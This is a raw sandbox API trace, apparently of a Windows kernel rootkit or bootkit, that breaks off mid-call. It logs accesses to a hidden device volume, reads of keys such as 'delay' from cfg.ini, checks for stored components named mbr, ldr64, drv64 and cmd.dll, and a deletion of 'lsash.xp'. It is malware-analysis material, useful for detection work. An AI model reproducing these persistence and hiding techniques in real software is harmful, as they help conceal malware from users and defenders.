KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.275] IdePortDispatch () returned 0x103 [0118.275] KeWaitForMutexObject () returned 0x0 [0118.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.275] KeLeaveCriticalRegion () [0118.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.276] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.276] KeEnterCriticalRegion () [0118.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca9000 [0118.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.276] IdePortDispatch () returned 0x103 [0118.276] KeWaitForMutexObject () returned 0x0 [0118.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.276] IdePortDispatch () returned 0x103 [0118.276] KeWaitForMutexObject () returned 0x0 [0118.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.276] KeLeaveCriticalRegion () [0118.276] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.277] KeEnterCriticalRegion () [0118.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] KeLeaveCriticalRegion () [0118.277] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.277] KeEnterCriticalRegion () [0118.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] KeLeaveCriticalRegion () [0118.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.277] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.277] KeEnterCriticalRegion () [0118.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] ExFreePoolWithTag (P=0xfffffa8003ad2bf0, Tag=0x0) [0118.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] KeLeaveCriticalRegion () [0118.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.277] ReleaseMutex (hMutex=0xf0) returned 1 [0118.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.277] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.277] KeEnterCriticalRegion () [0118.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.278] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.278] IdePortDispatch () returned 0x103 [0118.278] KeWaitForMutexObject () returned 0x0 [0118.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.278] KeLeaveCriticalRegion () [0118.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.278] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.278] KeEnterCriticalRegion () [0118.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.278] KeLeaveCriticalRegion () [0118.278] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.278] KeEnterCriticalRegion () [0118.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.278] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.278] IdePortDispatch () returned 0x103 [0118.279] KeWaitForMutexObject () returned 0x0 [0118.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.279] KeLeaveCriticalRegion () [0118.279] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.279] KeEnterCriticalRegion () [0118.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caa000 [0118.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.279] IdePortDispatch () returned 0x103 [0118.279] KeWaitForMutexObject () returned 0x0 [0118.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.279] IdePortDispatch () returned 0x103 [0118.279] KeWaitForMutexObject () returned 0x0 [0118.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.279] KeLeaveCriticalRegion () [0118.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.280] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.280] KeEnterCriticalRegion () [0118.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.280] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.280] KeLeaveCriticalRegion () [0118.280] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.280] KeEnterCriticalRegion () [0118.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.280] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.280] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.280] KeLeaveCriticalRegion () [0118.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.280] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.280] KeEnterCriticalRegion () [0118.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.280] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.280] KeLeaveCriticalRegion () [0118.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.280] ReleaseMutex (hMutex=0xf0) returned 1 [0118.280] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.281] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.281] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.281] KeEnterCriticalRegion () [0118.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.281] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.281] IdePortDispatch () returned 0x103 [0118.281] KeWaitForMutexObject () returned 0x0 [0118.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.281] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.281] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.281] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.281] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.281] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd77b0 [0118.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.281] KeLeaveCriticalRegion () [0118.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.281] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.281] KeEnterCriticalRegion () [0118.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.281] KeLeaveCriticalRegion () [0118.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.281] KeEnterCriticalRegion () [0118.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.281] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.281] IdePortDispatch () returned 0x103 [0118.282] KeWaitForMutexObject () returned 0x0 [0118.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.282] KeLeaveCriticalRegion () [0118.282] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.282] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.282] KeEnterCriticalRegion () [0118.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.282] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cab000 [0118.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.282] IdePortDispatch () returned 0x103 [0118.282] KeWaitForMutexObject () returned 0x0 [0118.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.282] IdePortDispatch () returned 0x103 [0118.283] KeWaitForMutexObject () returned 0x0 [0118.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.283] KeLeaveCriticalRegion () [0118.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.283] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.283] KeEnterCriticalRegion () [0118.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.283] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.283] KeLeaveCriticalRegion () [0118.283] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.283] KeEnterCriticalRegion () [0118.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.283] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.283] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.283] KeLeaveCriticalRegion () [0118.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.283] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.283] KeEnterCriticalRegion () [0118.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.284] ExFreePoolWithTag (P=0xfffffa8003bd77b0, Tag=0x0) [0118.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.284] KeLeaveCriticalRegion () [0118.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.284] ReleaseMutex (hMutex=0xf0) returned 1 [0118.284] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.284] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.284] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.284] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.284] KeEnterCriticalRegion () [0118.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.284] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.284] IdePortDispatch () returned 0x103 [0118.284] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.284] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.284] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.284] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.284] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.284] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.284] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.284] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.284] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.284] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.284] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.284] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.284] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.284] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.284] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.284] KeLeaveCriticalRegion () [0118.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.285] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.285] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.285] KeEnterCriticalRegion () [0118.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.285] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.285] IdePortDispatch () returned 0x103 [0118.285] KeWaitForMutexObject () returned 0x0 [0118.285] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.285] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.285] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.285] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.285] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.285] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.285] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.285] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.285] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.285] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.285] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.285] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.285] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.285] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.285] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.285] KeLeaveCriticalRegion () [0118.285] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.285] ReleaseMutex (hMutex=0x100) returned 1 [0118.285] Sleep (dwMilliseconds=0x2bf20) [0118.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69b47270, dwHighDateTime=0x1d24fa4)) [0118.292] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.292] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.292] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, 